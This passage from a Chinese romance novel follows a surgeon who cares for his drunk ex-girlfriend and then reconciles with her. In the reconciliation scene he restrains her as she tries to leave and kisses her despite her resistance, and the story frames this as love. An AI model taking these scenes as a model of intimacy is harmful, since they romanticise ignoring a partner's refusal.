时间差不多了,等吕湘和堂姐坐上车,宋佳岚又回到店里接叶之一。 结完账,叶之一喝完杯子里剩下的酒才站起身往外走,这会儿问她话,她还是有应有答的,等上了车,酒劲儿上来,人就明显醉糊涂了,问东答西。 宋佳岚先送吕湘回家,路上顺便买了夜宵,给在医院值夜班的高明送去。 车停在医院内的停车场,宋佳岚往后座看,堂姐躺倒呼呼大睡,再往副驾看,叶之一闭眼靠着车窗,眉头紧皱,大概是头疼难受。 她不放心这两个醉鬼在车里,就想着给高明打电话,让他下楼拿,但他没接。 “学长?”宋佳岚看到一个熟悉的身影。 她推开车门,下去打招呼,“学长,你今天也是夜班啊?” 蒋煜停下脚步,“有个病人术后出了点情况,我过来看看,刚忙完。” 宋佳岚拎着打包饭盒,“如果你不急着走,我想请你帮个小忙。” “给高医生送饭?”蒋煜朝她伸手,“给我吧。” “哪能让你跑腿,”宋佳岚指着她的车,“车里有两个喝醉酒的姐妹,麻烦你帮我看着点儿,我速去速回。” 举手之劳,蒋煜点头应下。 他不抽烟,原地待着等时间就有些难等,目光时不时往车那边看一眼。 停车场安安静静的,副驾车窗开着,先伸出一条胳膊,无力地耷拉着,蒋煜再看过去的时候,原本坐在副驾的女人下了车,蹲在车边,她头发散乱,光线暗,看不清脸。 她应该是要喝水,手没力气,拧不开瓶盖。 矿泉水瓶掉在地上,滚到一旁。 蒋煜走近了才听到她在哭,肩膀很轻微地颤抖。 再多看两眼,他认出是谁。 她的酒量比他好,这个状态多半是喝断片了。 蒋煜捡起矿泉水,走到她面前。 他没说话,拧松瓶盖,用瓶子碰了碰她的手指。 酒后反应迟钝,叶之一缓慢抬起头,视线顺着矿泉水瓶往上,看到一张模糊的脸。 她好像出现幻觉了。 对上她泛红的泪眼,蒋煜心脏抽了一下。 心里情绪潮湿,面上还是冷漠的,“拿着。” 她没接水瓶,只是看着他,眼泪扑簌扑簌往下落。 滴滴眼泪都如同千斤重,拽着他低下头,弯下腰,蹲下身。 然后,晚风把她低如呢喃的声音带到了他的耳边。 “……我也想你。” “蒋煜……我……我很想你……” 第42章 夜色寂静, 风里有了些许秋天的凉意,带来一阵不知名的花香,也吹动她的头发。 几缕发丝绕在他指间, 缠着,绕着, 最后轻飘飘地离开。 被眼泪打湿的声音哽咽破碎, 蒋煜如同被定在原地,忘却分寸与理性。 她说第一句的时候, 他以为她喝断片了,把他当成别的男人。 然而第二句想念的前缀有了他的名字。 让人恨得齿根发痒, 心头泛酸。 自作多情太多次, 他的名字从她口中说出来,那么轻, 蒋煜怀疑自己听错了。 “叶之一, 你心里想的是谁?”他低声问。 她没有回答,低着头, 模糊重复着“对不起”。 亏欠和愧疚这种情绪, 经过时间陈酿, 发酵后远比爱恨更折磨人。 路灯照着地面,滴落的泪水印出点点深色痕迹, 她的世界仿佛在下一场小雨,但淋湿的不只是她。 她把脸埋在手掌里,蒋煜本能伸出去帮她擦眼泪的手在风里顿了片刻,无声收回。 蒋煜拧紧瓶盖, 把矿泉水立在一旁。 两人的影子牵连在一起,湿气哽在喉咙,“没怪你。吵架那天说你太自私, 不是真心的。” 恨的时候,凌晨突然惊醒,想着他就是死了变成鬼也不会放过她,可如果她真的过得不好,他更加不痛快。 蒋煜托着她的手臂,扶她站起来,嗓音沙哑:“我们分开,也不是你一个人的问题。” 叶之一的眼前是一片黑,脚步踉跄,倒在他怀里。 “是我的问题,因为我自卑,也因为我在意你,不敢冒险让你看到我身后那些丑陋不堪的亲情关系,你要一个温暖有爱的家,我家里却有好多甩不掉的烂人。” 她其实根本没有认清人,在自言自语。 鼻尖磕碰到他的身体,痛感被酒精延缓,只是声音里多了几分浓重的哽咽。 “我的清高和傲慢都是装的,我很怕我们之间的感情因为钱变得面目全非,那样我就彻底输给命运,什么都没有了,所以宁愿连你一同舍弃。蒋煜……对不起,毕业那年,我不该用那么决绝的方式伤害你。” 这些话,她在清醒时很难说出口。 连绵不断眼泪浸湿衣服,烫灼着他的心脏。 蒋煜没办法违背本能推开她。 毕业那年,他们争吵,流泪,互相埋怨,不理解对方,纠缠几个月才彻底分开,毫无体面可言。 刚出国那段时间,蒋煜还在试图联系她,拨出的电话,发出的邮件,寄出的信,通通石沉大海,无一收到回复。 无数个辗转难眠的夜晚,他都在想,是不是只有他死死抓着那些早已褪色的回忆,而她早已有了新生活。 此时此刻他才确切地感同身受,原来她也被困在过去。 不远处,站着进退两难、不知道如何是好的宋佳岚。 蒋煜心里翻涌的浪潮渐渐平息下来,怀里的人腿脚发软,拽着他的衣服往下滑,他搂住她的腰,双臂下意识收紧。 叶之一醉得人畜不分,宋佳岚估摸着,她嘴里百分之九十没什么好话,再看蒋煜,神色复杂难辨,脸上没有一点笑意。 宋佳岚走过去,干巴巴地解释:“她喝多了,脑袋不清楚,无论她说什么,都是醉话,学长你千万别当真,也别生气。” 蒋煜问:“你一个人能行吗?” 毕竟车里还有一个。 “行……还是不行啊?”宋佳岚语气纠结。 她琢磨蒋煜的言外之意,他这是想送叶之一回家。 宋佳岚想着,叶之一和裴起严没在一起,谈不上道德和忠贞,不管怎么样,她肯定是站在姐妹这边的。 她绕到另一侧,借着路灯光亮看叶之一哭得狼狈的脸,悄悄用纸巾擦了擦。 “那个……学长,我堂姐住得远,我得绕一大圈,你方不方便送送这个姓叶的酒鬼?她酒品很好的,哭完了就绝不会乱吼乱叫,你肯定比我了解。” 蒋煜扶着叶之一没松手,就是应下了。 他往车的位置看,“行车记录仪开着吗?” 这会儿提什么行车记录仪,宋佳岚迷惑不解,“开着的,怎么了?” “注意安全,”蒋煜抱起叶之一。 宋佳岚打开车门,把叶之一的包拿出来,挂在蒋煜手上,看着他走远。 不知道是不是叶之一说了什么,他停下脚步,脖颈微微弯着,低头靠近她,过了一会儿再继续往前。 爱情这道坎,神仙来了都得吃点苦。 宋佳岚叹了声气,收回视线。 从医院到叶家住的小区,车开了多久,叶之一就睡了多久。 蒋煜又在车里等了半小时,她没醒,家里也没有打电话给她。 这么晚了,裴起严竟然不问问她什么时候回家,也不关心她喝了酒难不难受,不懂珍惜,反而给够了她要的自由。 蒋煜想了又想,最后给沈千苓打了通电话。 车从叶家小区驶离,回到蒋煜住的地方。 电梯到达22楼,蒋煜拉起叶之一滑落的手臂,搭在他肩上,指纹解锁,开门进屋。 他习惯性往主卧走,到门口时停顿几秒,转身进了客卧。 这张床米棠去年睡过,蒋煜小心地把叶之一放到床上,开了盏光线柔和的台灯。 他出去倒了杯水,又找了条干净的毛巾,再回来时,原本酒醉昏睡的叶之一翻了个身,侧躺着,挂着泪水的睫毛轻颤,缓缓睁开眼睛。 蒋煜愣了一瞬,脚步停住。 酒后视线朦胧恍惚,虚无失焦地朝着他的方向。 她在看他,但又没有看到他,大概连自己在哪里都不知道。 蒋煜平复呼吸,走过去。 她一只手搭在床沿,如果再翻身就会摔下去。 蒋煜没动她,蹲在床边,静静地看着她潮湿的泪眼。 对视会让人有种时间暂停的错觉,他忘了身份,没忍住,伸手拂开她散乱的碎发。 “叶小鱼,”他声音很轻。 她没反应。 蒋煜滴酒未沾,却也开始自说自话。 “你是想我了才喝酒,还是喝了酒才敢想我?” 如果她想念他的前提是痛苦,他宁愿她抛开过去开始新生活。 “叶小鱼,你怎么这么坏呢?明天你酒醒后什么都不记得了,我怎么办?” 他的眼神柔软地落在她脸上。 “我干脆当个恶人,把你锁在家里,不许你嫁给别人,化成灰也得跟我装在一个罐子里。” 他说再多,也进不去她的耳朵。 蒋煜怅然失笑,用毛巾给她擦脸。 “胃不舒服,喝口温水再睡好不好?”他准备扶她坐起来,她突然动了动,朝他凑过来。 他以为她想说什么,歪着头偏向她。 下一秒,温热的吻落在他下颌。 蒋煜呼吸凝滞,身体僵住。 半杯温水泼在胸膛,衣服湿了,心跳也随之变得异常,轰隆作响。 这个吻一触即离,她没了力气,失去支撑,一头栽到他怀里,额头撞在他唇边。 蒋煜吃痛闷哼。 他回过神,先揉揉她的额头。 十分钟后,作乱之人早已睡着,蒋煜还维持着刚才被亲吻的姿势没变。 大半夜被叫过来的沈千苓,双手抱臂靠在房门口,一幅恨铁不成钢刚的表情。 她一眼看破,啧啧感叹:“你这是又着了嫂子的道了。” 蒋煜在床边蹲久了,腿脚有些麻木,他把杯子放到床头柜上,拿过纸巾,擦干净地上的水渍。 沈千苓压低声音:“让我来干嘛?” 蒋煜走出卧室,带上房门,“你什么都不用做,待在这里。” “这是多好的机会啊,你不嫌我碍眼?” “她要结婚了。” 沈千苓顿时哑口无言。 这个沉迷又清醒的恋爱脑,真是没救了。 “既然知道可能会给她制造麻烦,为什么还要把她带回家?” “她抱着我不肯松手,说想我,我没办法,被她身上的酒气熏得神智不清了,就糊里糊涂做出一些不正常的事。” 沈千苓满脸问号。 疑似爱而不得的舔狗疯魔前最后的幻想。 “我看你是被迷得神魂颠倒了吧。哥,你要是真的控制不了自己,就少见她几回,冷却冷却荷尔蒙,时间久了自然就没感觉了,或者你干脆就不要脸到底,烈女怕缠郎,别说她只是要结婚,就算真的结婚了又如何,你在外面做小不就得了,比比看你和那一位正宫当中谁的心胸更宽广,谁更能容人。” 太阳穴隐隐跳动,蒋煜头疼。 不知道沈家的教育到底是在哪一个环节出了错。 沈千苓跃跃欲试,更炸裂的发言即将脱口而出。 蒋煜及时叫停,拿起手机给她转账,“闭上嘴巴,洗澡睡觉。” 沈千苓对自己的定位很清晰,充当一个证人,证明这一晚什么都没有发生过。 次日早上八点,俞杨来接人,大学生要去学校正式报道。 蒋煜从主卧出来,像是一夜没睡。 叶之一比沈千苓先醒。 宿醉让身体变得沉重,沈千苓已经换好衣服,叶之一还是反应迟缓失神困惑的模样。 她怎么会在蒋煜家? 是她自己来的?还是她喝醉了撒酒疯,闹着让宋佳岚把她送过来的? 一阵慌忙的晨起洗漱之后,穿着漂亮裙子的沈千苓如同一只翩然而至的蝴蝶,来到俞杨面前。 她小声嘀咕:“俞杨,你看我哥像不像个怨夫?” “别胡说,”俞杨拎起她的包,“哥,我们走了。” 蒋煜点头。 医院差不多换完班了,他给高明发消息,问高明要行车记录仪的视频。 沈千苓没有理会他,去客卧敲门,探头进去,对着叶之一挥了挥手。 两人离开后,家里寂静无声,连呼吸都清晰可闻。 叶之一昨晚衣服没脱,简单洗漱后,大脑才稍微醒过神。 蒋煜坐在客厅沙发上,目光深沉,意味不明。 叶之一低着头,踌躇不前,手足无措。 桌上放着两杯热水,冒着白雾。 叶之一先开口打破沉默:“你不上班吗?” 蒋煜语调平淡:“请假了。” “哦,”叶之一嗓子干涩,左手攥右手,“你们请一天假,扣多少工资?” 蒋煜捏着手机缓慢转动,“工资好赔,你对我的精神伤害怎么赔?” “对不起,”她的头垂得更低。 蒋煜摸了下唇角,忽然笑出声,“叶之一,你一个要结婚的人,趁醉行凶,把我咬伤,如果一句酒后失态就想糊弄过去,那么我没什么好说的,请跟我的律师沟通。” 她缓了片刻,茫然看向他,“结婚?谁?我吗?” 蒋煜怔住,“你又不结了?” 叶之一觉得莫名其妙,“我什么时候要结婚了?” 蒋煜盯着她,不错过她脸上一丝微表情,手机贴着指腹震动,他都分不出神思去看消息。 搭在沙发上的手悄然握紧,眼神里多了几分认真,“你没想结婚,为什么要和宋佳岚一起去选婚纱?” 叶之一低声回答:“那天试婚纱的人是佳岚的堂姐,我只是看看。” 心脏短暂停滞,随即便失控狂跳。 长久笼罩在周围的一团雾气被吹散,氧气进入鼻息间。 蒋煜拿起水杯,猛灌一口,被烫得舌尖发麻,嘴角却不受控地上扬。 他故作冷静,“其它的事暂时不提,先聊聊我唇边的伤。” 第43章 关于昨晚的事, 叶之一的大脑里只剩片段式的回忆,零零散散,混乱模糊, 绞尽脑汁也凑不出一段完整的画面。 她只记得宋佳岚的堂姐抱着酒瓶大骂男的都不是人,被查酒驾的交警拦下, 宋佳岚吹了好几次酒精检测仪, 交警才放行。 记忆就断在这里。 她是怎么到蒋煜家的,一点都想不起来。 气氛变得有些古怪, 叶之一用余光瞟了对面的蒋煜一眼,主要是看他的嘴, 更具体地说, 是他下唇那一处印记,似乎是破皮了, 颜色明显比正常唇色更深。 依据他单方面的说辞, 那是被她咬伤的。 酒醉后强吻前男友不算,还把他的嘴唇咬伤了。 难道她的酒品比宋佳岚还差? 这些年, 也没人吐槽过她酒后性情大变, 叶之一对此百思不得其解并且持怀疑态度。 “这个得想想是吗?”蒋煜意有所指地抚上嘴唇。 至于这个动作是第几次, 没人一遍遍数。 喝水都痛,但他喜欢这份痛感, 甚至觉得再痛一点更好,“没问题,我给你时间想。” 他不记仇,就事论事, 叶之一迟钝地对他的通情达理表示感谢:“谢谢。” 今天是个晴天,阳光照进来,晒得她耳朵泛红, 脸颊发热。 她的视线垂下去,随意找了个地方,有些失焦。 蒋煜的目光轻柔地落在她身上。 她没睡好,头发乱乱的,每一根发丝都被晨光勾勒清晰,坐姿像个犯了错的小孩,人是醒了,神思还是糊涂的,否则早在他开口问她怎么又不结婚了的时候,她就直接摔门走人了,根本不会认账,更不会任由他发难。 蒋煜起身拿了瓶没开封的矿泉水,往另一杯热水里兑了一部分。 他把杯子放到她面前,“喝点水,慢慢想。” 叶之一眨了下眼睛。 她其实在发呆,什么都没想,大脑是放空状态。 酒精的后劲强,如果不是正处于不知该如何收场的境地,她倒下去就能睡着。 家里已经很久没有做过早饭了,阿姨昨天买的菜还有剩余,蒋煜打开冰箱,拿出几样食材,又从柜子里找到一罐蜂蜜。 他回到客厅,往叶之一面前的那杯温水里加了一勺蜂蜜,搅拌均匀。 她终于有了点反应。 蒋煜把杯子递到她手边,“喝完可以再躺一会儿。” 叶之一仰起头,“我想先回家。” 她昨晚能放任自己醉成那样,说明今天没什么紧急的工作,蒋煜转身往厨房走,“那你就等着我起诉你。” 叶之一没再说话。 直到蒋煜端出两碗热腾腾的清汤面,叫她过去吃。 “我不饿,”她没胃口,刚才喝了一杯蜂蜜水才稍微舒服一些。 蒋煜不紧不慢地说:“我虽然是被保姆带大的,但我家没有只顾自己吃让客人看着的家教。” “你当我不存在。” “你是一个活生生的人,我忽视不了,你不吃就只能倒掉,浪费可耻。” 叶之一坐着没动。 蒋煜也不动筷子,悠闲地支着肘看她,左桉没有瞎说,她是瘦了不少,上次在海边偶遇,他就想建议她去医院体检,查查各项指标。 酒后吐真言,昨晚在医院停车场,她说很想他,那些话真的不能再真了。 话在耳边,人在眼前,蒋煜心头一片柔软。 两人之间隔着一段距离,空气逐渐被阳光晒得升温。 在他肆无忌惮地注视下,气氛悄无声息地从尴尬生硬转变为温情粘稠。 这很诡异。 叶之一被他盯得心烦意乱,侧首瞪他,“你烦不烦?” “面坨了就不好吃了,”蒋煜放缓语气,“过来。” 又等了一会儿,她才站起身,走到餐桌旁。 胃不太舒服,叶之一拿起筷子挑青菜吃,面汤一点不油腻,她尝了一口,味道清淡,很适口。 蒋煜观察她的神情变化,她应该还算满意。 大学他们偶尔住在校外的房子,晚上和朋友聚会喝了酒,酒后她也是这样照顾他的。 煮好一碗面的成就感不亚于完成一台手术,蒋煜捏着筷子,低头吃面。 热乎乎的面条碰到唇边伤口,牵动神经,痛感十分强烈。 “嘶!”他倒吸一口凉气。 旁边的叶之一听着,吃饭的动作停顿几秒,没有特意看他,但心情肉眼可见得变好。 蒋煜用手肘轻轻碰了碰她,“笑什么?” 她头都不抬,“我没笑。” “你笑了。” “我没有。” 好幼稚。 吃完早餐,在清凉薄荷味漱口水的刺激下,叶之一浑浊的头脑终于清醒了七八分。 蒋煜打完一通电话,开始跟她算账。 他从衣帽间的脏衣框里捡起昨晚那件被她当成抹布用的浅色衬衣,捏着衣领抖了抖,她靠在他怀里哭的时候,鼻涕眼泪全蹭在他衣服上,还有粉底和口红,他抱她上楼,领口的扣子被她拽掉一颗,后来在卧室里又泼了半杯水,布料皱巴巴的。 “我这件衣服恐怕洗不干净了,你得赔吧。”他说。 即使叶之一想不起来她是如何从宋佳岚车里到他家的,也认下了这笔账,“我重新给你买一件。” “你知道我穿多大尺码吗?” “……” 蒋煜脸不红心不跳,“这是线下店铺的款,网上不卖,你哪天逛街,我去试穿。” 他穿的衣服都不便宜,叶之一庆幸不是什么限量款或者手工定制款,“不用这么麻烦,你把尺码告诉我。” “我不觉得麻烦。衣服尺码是我个人隐私,咱俩现在这关系,不合适。” “……随你。” 叶之一注意到鱼缸空了,“那些蓝色发光小鱼怎么没了?” “死光了,”蒋煜反省过,是他没照顾好,才导致那些小鱼一条接一条翻肚皮,“我过几天去花鸟市场再买几条回来,这次一定好好养。” 叶之一收回视线,“随便问问。” 蒋煜左思右想,除了衬衣,再没别的东西还能赖在她身上,她只是喝多了酒,又不傻。 叶之一坐不住了,“我能走了吧。” “正事都没谈,”蒋煜把脏衣服丢进衣帽间,走到沙发旁,目光深邃地看着她,“关于我唇角的伤,怎么索赔,你得先回答我一个问题。” 叶之一渐渐没了耐心,“什么?” 蒋煜问得直白:“你和裴起严目前是什么关系?” 她语气淡淡:“不是要结婚的关系。” 阳光晒到沙发旁,他走近一步,继续追问:“是普通邻居,还是情侣?” 叶之一回避他的视线,“你少管。” 蒋煜低声说了句:“那我就默认是前者了。” 他拿开抱枕,坐到旁边,不知是有意还是无意,长腿碰到她的腿,叶之一几乎是立刻一跃而起,这是她醒来后反应最灵敏的时刻,然而还是被他抓住手腕拽了回去。 身体跌坐回沙发,因为重心不稳,朝他歪斜,反而距离他更近了。 他没用太重的力道,但叶之一挣脱不开,“蒋煜!” “别生气,”蒋煜安抚她的情绪,指腹贴着她手腕内侧皮肤轻柔摩挲,“我给你在体检中心挂了号,做全身体检,所有项目的钱都已经交了,你把钱转给我。” 叶之一瞪大眼睛,“你有病?” “医院会联系你,跟你约时间。如果你害怕,我也可以陪你做一次检查。” “我没病,不需要体检。” 蒋煜气定神闲,“酒后强吻前男友,我看你病得不轻。” 叶之一哑口无言。 “你有没有病,检查结果出来就知道了,”蒋煜感觉她的手腕好像都细了一圈,“这样,我给你打五折,你分期付款,12期,24期,36期都行,你怎么方便怎么付,每周或者每个月主动联系我一次,让我知道你人没跑掉就好。” 叶之一低头掰他的手指,甩掉他后起身就走。 蒋煜跟在后面,眼里隐隐透出笑意,“准备赖账?你的土匪作风,真是一如既往。” 包没拿,叶之一又折回去,远远从他身边绕开。 她拿好东西,走到门口,刚要坐下换鞋,蒋煜从身后搂住她,捏着她的脸转向他。 他的吻贴着她的耳后,顺着脖颈往上,慢慢寻到她的唇。 声音逐渐模糊:“你咬的,就得这样赔,别的不算。” 蒋煜从昨晚忍到现在,确定她没有跟裴起严谈恋爱才卸下那条道德防线。 昨晚他连外套都没有帮她脱,她睡的也是侧卧,还有沈千苓在,其实他无所谓,被戳脊梁骨又死不了人,反正只活一次,主要是怕她被误会,和姓裴的闹矛盾,被那些认识多年的邻居说闲话。 叶之一攥着包带,指甲陷进掌心,“我不会再卖给你了。” 蒋煜拿走她的包,挂在鞋柜上的挂钩。 她的手紧握着,他用手指一点点撑开。 “那天我气死了,说的都是气话,不作数。” 蒋煜从未把他们那段短暂的关系定位成钱色交易,当时在气头上,话赶话,伤人又伤己。 幸好他昨晚去了医院,幸好她难受的时候,他心软,朝她走过去了。 否则就听不到那些可能再也没有机会从她口中说出的话。 唇角的疼痛蔓延至心口,蒋煜把人转过来面对他,抬高她的下巴,低头吻她。 他一点也不温柔,手掌揉捏她的后颈,催促她张开嘴。 唇齿纠缠,呼吸渐渐加重。 “叶小鱼,我们重新开始。” 第44章 夏末初秋, 阳光还带着躁动的热意。 窗边盆栽枝叶色彩鲜活,光线照到沙发附近,那一处格外明亮, 周围就有些暗淡。 门口玄关这方寸之地的喘息声忽轻忽重,掺杂着几声忍痛的闷哼。 这个吻没有一丝试探, 完全被思念掌控。 阳光快要晒过来了, 潮湿沼泽深处那颗卑怯裹挟爱意的种子感知到温度,汲取到空气中的水气和养分, 隐隐探出绿芽,大有无限生长的势头。 呼吸升温, 彼此身体紧贴, 蒋煜感觉到她不再挣扎推拒之后,松了摁在她腕上的力道。 被强势反折到身后的手得了自由, 叶之一差点一巴掌甩在他脸上, 下一秒就被他的吻软化,失去攻击性, 柔柔地搭在他肩头。 她的手指摸到他唇上的伤, 视线朦胧, 声调不稳,“真是我咬的?” 蒋煜轻轻碰了一下她的额头, 眼里有遮不住的笑意,“磕的。” 叶之一:“……” 果然被骗了。 耳边反复回响着‘重新开始’这四个字,过往的种种,前方的未知, 让她心里极其混乱。 很长一段时间里,她被生活压得抬不起头,消极, 疲惫,麻木,原谅命运的不公,也原谅父亲和姐夫和以爱情为诱饵带给她的苦难,唯独对自己严苛。 外界对女性的压迫已经够多了,她还给自己画了一个方方正正的牢笼,流泪是示弱,喊疼是认输,她觉得自己不值得轻易被爱,也失去了爱人的能力,幸福和面包一样,一切都是有条件的。 她要撑起这个摇摇欲坠的家,要努力工作赚钱,要为米棠将来漫长的人生考虑。 米棠看不见,总有一天要独自面对风雨,她要米棠可以有尊严地活着。 日复一日,她逐渐失去自我,像一台设定好程序的机器。 压倒她的最后一根稻草,是那串挂在柜子里的贝壳风铃。 她应该把自己放在第一位才对。 “你不是说,你对我没感情了,听到我的名字只觉得晦气厌烦,我跟谁结婚都和你无关?” 这种故作洒脱的气话,她倒是记得清楚。 蒋煜剥掉她的外套。 “是啊,我本来是打算真心祝福你,可谁让你昨晚缠上我,对我又亲又抱又摸,还说那么肉麻的情话,现在好了,我被你迷得五迷三道,什么脸面,什么尊严,全都不重要,你就是真的打算结婚,我也要用尽手段搅黄你的婚事。” 他含住的指尖,吮吻,轻咬。 嗓音愈渐沙哑:“你甩不掉我了,自认倒霉吧。” 氧气稀薄,身体发软,叶之一艰难找回声音:“我说了什么?” “你说你爱我,只爱我。” “滚。” 她里面这件衣服很贴身,身材曲线被完美描绘勾勒。 蒋煜连脸面都不要了,这会儿更不会表演虚假的绅士风度,手掌顺着她的腰线往上,一下一下亲她的锁骨。 “往哪儿滚?往床上滚?还是往沙发上滚?大白天的,是不是有点不太合适?” 他言辞矜持严肃,行为却是另一个极端,手摸到柔软处才停。 明明是心疼,他便要用威胁的语气说出来:“看看你都瘦成什么样了,必须去体检,听见没有?否则我就去你家里抓你。” 叶之一的心跳快得不太正常。 一夜之间,他们的走向偏离轨道,命运再次纠缠在一起。 “说正事,别装聋,”蒋煜捞起挂在她臂弯的衬衣外套,帮她穿好。 他双手捧起她的脸,轻吻她即将落泪的眼睛,不许她逃避,“在想什么?” 叶之一埋首在他怀里,闷闷地说:“风铃摔碎了。” 几秒钟后,蒋煜才反应过来。 他人就在她面前,她还惦记着那件陈年旧物。 蒋煜失笑,“我周末就去海边捡贝壳,行吗?” 拥抱比热吻更深切地触动人心,更迅速地瓦解她的防线,至少在这一刻,叶之一抛却家庭差距和无形阻碍,不深思他们到底合不适合,败给庸俗感情,承认她需要他。 叶之一突然问:“新疆的风景好看吗?” 蒋煜刚回来没多久,记忆还是新鲜的,“很漂亮,很纯净,山是山,水是水。” 她一口咬在他手背上。 蒋煜没设防,被她推开了。 在他无奈靠近时,叶之一抬手抵着他的胸膛。 她说:“有人不远千里去找你,你很开心吧。” 蒋煜这回听懂了。 他处理不好蒋家和徐家的关系,确实没资格在她这里索要名分。 …… 蒋煜只请了半天假,午后正常去医院上班。 下午四点半,高明把行车记录仪的视频发送到蒋煜的手机里,打趣了几句,蒋煜照单全收,说改天请他吃饭。 傍晚六点,蒋煜准时下班,摘掉口罩,在车里给徐薏歆打了通电话,得知对方在去蒋家的路上,就没有多此一举约她出来。 他先回自己家,车钥匙随手放在鞋柜上,直接进衣帽间,打开收纳手表的抽屉,找到学生时代的叶之一敲敲打打几个小时才做好、后来又在挂件里藏了四个月的那枚银戒指。 银饰存放久了有些氧化发黑,是时间的印记。 蒋煜用软布擦拭,毫不犹豫地戴在左手的无名指上,然后驱车回老宅。 保姆将最后一道菜端上桌时,蒋煜正好到家。 徐薏歆只是日常来探望董玥,没想着蒋煜会回来,她去新疆看他的那几天,他状态一般,工作之外对任何事都提不起兴趣,甚至对她的突然出现感到累倦,今天明显不一样,神采奕奕的。 家里灯光明亮,蒋煜没有刻意掩饰,徐薏歆一眼就注意到他手上多了枚戒指。 他气质矜贵,十指修长,骨节分明,即使是一文不值的地摊货,戴在他手上也是极为好看的。 像婚戒,有种人夫的性感。 他以前很少戴配饰,在医院工作后,两只手总是干干净净,连手表都不常戴,这显然不只是一枚戒指。 随着他走近,徐薏歆的心寸寸往下沉。 徐薏歆预感到他今晚回来的意图,有些心慌,略显僵硬地开口:“阿姨,我还有工作没做完,下次再来陪您聊天。” “工作再忙,也不能不吃饭,”董玥取下眼镜,“吃完饭让蒋煜送你。” 蒋煜在她身旁坐下,接过保姆递过来的茶杯,看看时间,“再等十分钟,领导快到了。” 他口中的领导,是他亲爸。 董玥看向他,“你有事?” 蒋煜诚心建议:“妈,要不你先吃几口,我怕你待会儿没胃口。” 董玥皱眉,“你又要干什么?” 蒋煜放下茶杯,抬起左手,很认真地让董玥看他手上的戒指。 董玥没看出什么特别的,只觉得他今天很不对劲。 几分钟后,蒋父到家。 一家人坐在一起吃晚饭,像在开会。 徐薏歆心不在焉,也是味同嚼蜡。 蒋煜主动给董玥和蒋父盛汤,顺便问对面的徐薏歆:“你要吗?” 徐薏歆笑笑,“我自己来。” 两人熟得不能再熟,蒋煜没多客套。 蒋父最先问出口:“你的戒指是什么意思?” “这里面有一段关于我和初恋的爱情故事,”蒋煜放下筷子,捏着戒指转了半圈,“爸,妈,我给你们讲讲?” 董玥面露不悦,提醒他:“薏歆还在这里。” “薏歆在正好,免得我同一个故事说两次。我只谈过一个女朋友,你们知道的吧,大三国庆假期,她因为家里的事失联两天,我联系不到她,以为她出事了,就去了她家一趟,她觉得我太粘人,我觉得她不在乎我,我们大吵一架,我一周没理她,她为了哄我,给我做了这枚戒指,悄悄藏在车钥匙挂件里……” “蒋煜!”董玥忍无可忍,厉声打断他的话。 徐薏歆站起身,面上维持着教养,“叔叔,阿姨,你们慢慢吃,我先走了。” 蒋煜神色自若,“我送你下楼。” 出了电梯,徐薏歆头也不回地大步往前走,她有底气高傲。 她不蠢,他今晚这一出,无非是想告诉她,他又和叶之一搅在一起了,并且和上次不同,要正式对家里父母公开。 小区晚上清净,高跟鞋的回声震得她心口酸痛。 蒋煜慢悠悠地走在后面,徐薏歆停下脚步,转身看着他。 他和她认识的那些高干子弟不同,他很干净,从未仗着家里的权势惹是生非,更不拈花惹草,异性关系清楚明了。 如今这世界,专情太难得。 她身边几乎全是家境优越的男人,门当户对,她可以随便挑一个结婚,不是非他不可,她只是……只是不愿意妥协,她配得上最好的。 徐薏歆声音哽咽:“你一定要这么对我?” “人生还长,不是跟谁在一起都一样的,”蒋煜站在距离她两步远的位置,“我爸妈决定不了我的婚姻,讨他们喜欢不仅没用,反而会惹我厌烦。薏歆,我把你当朋友,才会跟你说这些,无论你听不听得进去,这都是最后一次。” 他给她留了脸面。 徐薏歆为自己感到委屈。 或许是自小认识的情分,或许是良好家教,他没让她下不来台,但也把态度摆在明面上。 她心里难受,问了一个相当不体面的问题:“叶之一到底哪里好?” 蒋煜说:“我爱她,她的好和不好,我全盘接受。” 第45章 徐薏歆离开后, 蒋煜情绪稳定地回到家里。 家里气氛有些凝滞,父母听到开门的声音,谈话终止。 蒋煜泡了两杯茶拿到餐厅, “妈,消消气, 我没想气你。” 董玥看着他手上的戒指, 心气不畅,“解决问题要讲究方式, 薏歆是个女孩,你今天的做法, 会让她很受伤。” “我不这么对徐薏歆, 就会伤我心上人的心。爸,妈, 我没你们那么伟光正的人生追求, 我只想和我爱的人有一份平淡长久的幸福。” 董玥后悔年轻时只顾着忙事业,没把孩子带到身边亲自教育, “你就这点出息?” 蒋煜笑了笑, “平淡长久才是最难的。” “抛开家里提供给你的经济条件, 你再来谈平淡的幸福。” “我是你生的,抛不开, 你们有责任和义务培养我。她真不图咱家的社会地位和钱财,你们别因为这个对她有偏见。” 蒋父喝了口热茶,喜怒不形于色,“眼见为实, 找时间带到家里来吃顿饭,让我和你妈见见她。” “现在不行,”蒋煜了解父母的行事作风, 表面温和,但无形施压,很多时候他都受不了,更何况敏感的叶之一,“如果你们瞒着我私下去找她,别怪我不孝。” 威胁其实最行不通,只会加深矛盾。 他放缓语气:“无论是以前还是现在,都是我更需要她,很难解释,我也分析不清楚我到底喜欢她什么,我只能说,她在我身边的时候,会让我有种人生值得的满足感。” 董玥的目光多次落在他唇边,忍了又忍,还是问出口:“你的嘴唇是被她咬伤的?” 她早就就想问,碍于徐薏歆在场,只好当作没看见。 伤处隐隐作痛,蒋煜摸了一下,“哪能啊,我自己不小心磕碰的,抹过消炎药了。” 董玥半信半疑。 蒋煜拿出手机,把事先保存好的新闻网址转发给父母,都是媒体对叶之一和丘新竹以及盲校的报道,很认真地说:“晚上睡不着,看看新闻。” 夫妻两人,一个胸闷叹气,一个无奈摇头。 这事儿急不得,蒋煜明天要上班,不在家住。 手上的戒指存在感很强,蒋煜坐在车里,摘下戒指把玩,重新戴上时,拨出的电话恰好接通。 他看着屏幕,眼角眉梢不自觉地多了点笑意,“在学校?” 电话那边的叶之一刚过红绿灯,“在回家的路上。” “糖糖怎么样?” “昨天白天还好,晚上躲在被子里偷偷哭,生活老师说她和隔壁床的小女孩是手牵着手睡着的,今天估计也是,我没敢去看她,下班就走了。” “得慢慢适应,”蒋煜往车窗外看,月亮遥遥挂在天边,“糖糖有小伙伴陪着,我陪陪你?” 路灯匀速后退,叶之一轻声说:“我快到家了。” 蒋煜启动车子,打转方向盘,汇入车流,他语气一本正经:“那你能先别上楼,跟我接个吻吗?” 像是回到学生时代的暧昧期,但又不同,成年人的暧昧少了青涩,更直接。 